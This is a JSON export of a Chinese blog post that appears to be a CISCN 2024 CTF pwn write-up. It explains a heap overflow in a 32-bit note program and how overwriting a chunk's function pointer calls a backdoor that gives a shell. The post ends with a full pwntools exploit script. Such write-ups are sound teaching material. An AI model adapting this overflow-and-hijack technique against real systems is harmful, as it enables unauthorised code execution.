{"id":499,"date":"2024-12-17T19:43:57","date_gmt":"2024-12-17T11:43:57","guid":{"rendered":"http:\/\/8.141.27.105\/?p=499"},"modified":"2024-12-17T19:43:58","modified_gmt":"2024-12-17T11:43:58","slug":"2024-ciscn-pwn%e9%83%a8%e5%88%86","status":"publish","type":"post","link":"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/17\/2024-ciscn-pwn%e9%83%a8%e5%88%86\/","title":{"rendered":"2024 CISCN PWN\u90e8\u5206"},"content":{"rendered":"\n

anote<\/p>\n\n\n\n

C++\u7a0b\u5e8f\uff0c32\u4f4d\u83dc\u5355\u5806\u9898\uff0c\u6709add\u3001show\u3001delete\u3002<\/p>\n\n\n\n

add\uff1a<\/p>\n\n\n\n

\u7a0b\u5e8f\u521b\u5efa\u4e00\u4e2a\u56fa\u5b9a0x1c(\u52a0\u4e0achunk\u59340x20\uff0c\u56e0\u4e3a\u89e6\u53d1\u4e86prevsize\u590d\u7528\u800c\u4e14\u662f32\u4f4d)\uff0c\u6700\u591a\u521b\u5efa9\u4e2a\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

show:<\/p>\n\n\n\n

\u6253\u5370\u51fa\u5bf9\u5e94index\u7684\u5806\u7684\u5730\u5740\uff0c\u503c\u5f97\u4e00\u63d0\u7684\u662f\u5806\u5730\u5740\u7684\u503c\u662f\u5b58\u5728\u6808\u4e0a\u7684\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

edit\uff1a\u6700\u5927\u53ef\u4ee5\u8f93\u516540B\uff0c\u5b58\u5728\u6ea2\u51fa\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u6709\u540e\u95e8\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u8fd9\u9898\u6ca1\u5199\u51fa\u6765\uff0c\u56e0\u4e3a\u9898\u76ee\u6ca1\u6709delete(free)\uff0c\u6240\u4ee5\u4e00\u76f4\u5728\u60f3\u600e\u4e48\u7528house of orange\u6765\u6253\u3002\u96be\u70b9\u5728\u4e8elibc\u6ca1\u7ed9\uff0c\u6240\u4ee5top chunk\u5730\u5740\u540e\u4e09\u4f4d\u4e0d\u77e5\u9053\uff0c\u800c\u4e14\u5c31\u7b97\u6539\u62100xfe1\u30010xfa1\uff0c\u9898\u76ee\u9650\u5236\u6700\u591a\u6dfb\u52a09\u4e2a0x20\u7684chunk\u4e5f\u4e0d\u591f\u628atop chunk\u6324\u5230unsorted bin\u53bb\u3002<\/p>\n\n\n\n

\u540e\u6765\u770bWP\u624d\u77e5\u9053\u770b\u6f0f\u4e86\u8fd9\u4e2a\u4e1c\u897f\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u4e09\u6b21\u53d6\u5730\u5740\u6765\u6267\u884c\u4e86\u4e00\u4e2a\u51fd\u6570\u3002\u8fd9\u4e2a\u5730\u5740\u5728add\u65f6\u5019\u5c31\u5df2\u7ecf\u5199\u5230\u6bcf\u4e2achunk\u7684data\u533a\u57df\u524d\u56db\u4f4d\uff0c\u5982\u56fe\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u7136\u540eedit\u65f6\u5019\u7528\u6237\u8f93\u5165\u90fd\u662f\u4ece\u7b2c9\u4f4d\u5f00\u59cb\u5199\uff0c\u5982\u4e0b\u56fe\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

<\/p>\n\n\n\n

\u518d\u7ed3\u5408\u52a8\u8c03\u6765\u770b\uff0c\u4e0b\u56fe\u7ea2\u6846\u5c31\u662fadd\u65f6\u5019\u5199\u5165\u7684\u4e1c\u897f\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

<\/p>\n\n\n\n

\u7136\u540eedit aaaa\uff0c\u53d1\u73b0\u4ece\u7b2c\u4e5d\u4f4d\u5f00\u59cb\u5199\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u518d\u8ddf\u8fdb\u770b\u770b\u5199\u5165\u7684 0x8048f48,\u53d1\u73b0\u53c8\u662f\u4e00\u4e2a\u5730\u57400x8048a68:<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n\n\n

\u7ee7\u7eed\u8ddf\u8fdb,\u8fd90x8048a68\u5c31\u662f\u4e2a\u51fd\u6570\uff0c\u529f\u80fd\u662f\u8f93\u51fa”work done”\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u6240\u4ee5<\/p>\n\n\n\n

(**(void (__cdecl ***)(_DWORD))*(&v25 + v20))(*(&v25 + v20));<\/p>\n\n\n\n

\u7684\u610f\u601d\u5c31\u662f\uff0c\u5148\u4ece\u6808\u7684\u5bf9\u5e94\u4f4d\u7f6e\u53d6\u503c\uff0c\u503c\u5c31\u662fchunk(data\u57df)\u5730\u5740\uff1a<\/p>\n\n\n\n

*(&v25 + v20)<\/p>\n\n\n\n

\u7136\u540e\u53c8\u662f\u4e24\u6b21\u53d6\u503c\uff0c\u7b2c\u4e00\u6b21\u4ecechunk(data\u57df)\u53d6\u503c\u53d6\u52300x8048f48\uff0c\u7b2c\u4e8c\u6b21\u4ece0x8048f48\u53d6\u503c\u53d6\u52300x8048a68\uff0c\u7136\u540e\u4f5c\u4e3a\u51fd\u6570\u6267\u884c\uff0c\u6267\u884c\u7684\u529f\u80fd\u662f\u8f93\u51fa”work done”\u3002<\/p>\n\n\n\n

\u6240\u4ee5\u601d\u8def\u5c31\u5f88\u6e05\u6670\u4e86\uff0c\u521b\u5efachunk0\u548cchunk1\uff0c\u5229\u7528chunk0\u6ea2\u51fa\u4fee\u6539chunk1\u7684data\u524d\u56db\u4f4d\u4e3a\u67d0\u5730\u5740\uff0c\u8fd9\u4e2a\u5730\u5740\u4e0a\u5199\u7684\u662f\u540e\u95e8\u51fd\u6570\u5730\u5740\uff0c\u56e0\u4e3a\u53ef\u4ee5\u76f4\u63a5\u5f80chunk0\u7684\u5730\u5740\u53ef\u4ee5\u83b7\u53d6\uff0c\u6240\u4ee5\u5c31\u76f4\u63a5\u5f80chunk0\u7684data\u57df\u4e0a\u5199\u540e\u95e8\u51fd\u6570\u5730\u5740\uff0c\u7136\u540e\u8986\u76d6\u7684\u5730\u5740\u8986\u76d6\u5230chunk0\u7684\u5bf9\u5e94\u4f4d\u7f6e\u5c31\u884c\uff0c\u6700\u540e\u518d\u8c03\u7528edit\u4fee\u65391\u5c31\u80fd\u89e6\u53d1\u540e\u95e8\u51fd\u6570\u62ff\u5230shell\u3002<\/p>\n\n\n\n

payload=p32(backdoor)+b’a’*0x14+p32(chunk0_addr+0x8)<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5b8c\u6574exp\uff1a<\/p>\n\n\n\n

from pwn import *\n\ncontext.log_level = 'debug'\n\np = process('\/home\/monke\/PWN\/ciscn\/3\/note')\n\n#p = remote('39.105.5.27',24760)\n\nelf = ELF('\/home\/monke\/PWN\/ciscn\/3\/note')\n\nbackdoor=0x80489CE\n\n#add chunk0\u3001chunk1\n\np.sendlineafter(\"Choice>>\",b'1')\n\np.sendlineafter(\"Choice>>\",b'1')\n\n#leak chunk0_addr\n\np.sendlineafter(\"Choice>>\",b'2')\n\np.sendlineafter(\"index: \",b'0')\n\np.recvuntil(\"gift: \")\n\nchunk0_addr=p.recv(9)\n\nchunk0_addr=int(chunk0_addr,16)\n\nprint(hex(chunk0_addr))\n\n#gdb.attach(p)\n\n#edit chunk0\n\np.sendlineafter(\"Choice>>\",b'3')\n\np.sendlineafter(\"index: \",b'0')\n\np.sendlineafter(\"len: \",b'40')\n\npayload=p32(backdoor)+b'a'*0x14+p32(chunk0_addr+0x8)\n\np.sendlineafter(\"content: \",payload)\n\n#gdb.attach(p)\n\n#edit chunk1 getshell\n\np.sendlineafter(\"Choice>>\",b'3')\n\np.sendlineafter(\"index: \",b'1')\n\np.sendlineafter(\"len: \",b'4')\n\npayload=b'a'*4\n\np.sendlineafter(\"content: \",payload)\n\n#gdb.attach(p)\n\np.interactive()<\/code><\/pre>\n\n\n\n
<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
anote C++\u7a0b\u5e8f\uff0c32\u4f4d\u83dc\u5355\u5806\u9898\uff0c\u6709add\u3001show\u3001delete\u3002 add\uff1a \u7a0b\u5e8f\u521b\u5efa\u4e00\u4e2a\u56fa\u5b9a0x1c […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[14,11,8],"class_list":["post-499","post","type-post","status-publish","format-standard","hentry","category-game","tag-pwn","tag-11","tag-8"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/499","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=499"}],"version-history":[{"count":1,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/499\/revisions"}],"predecessor-version":[{"id":516,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/499\/revisions\/516"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=499"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=499"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=499"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}